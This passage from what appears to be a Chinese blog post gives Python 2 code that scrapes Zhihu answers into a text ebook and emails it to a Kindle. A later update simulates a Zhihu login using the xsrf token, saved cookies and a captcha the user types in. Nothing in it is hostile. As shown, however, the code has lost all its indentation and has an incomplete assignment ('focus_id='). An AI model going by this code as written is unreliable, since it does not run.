answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle

知乎.PNG

 
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()

 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle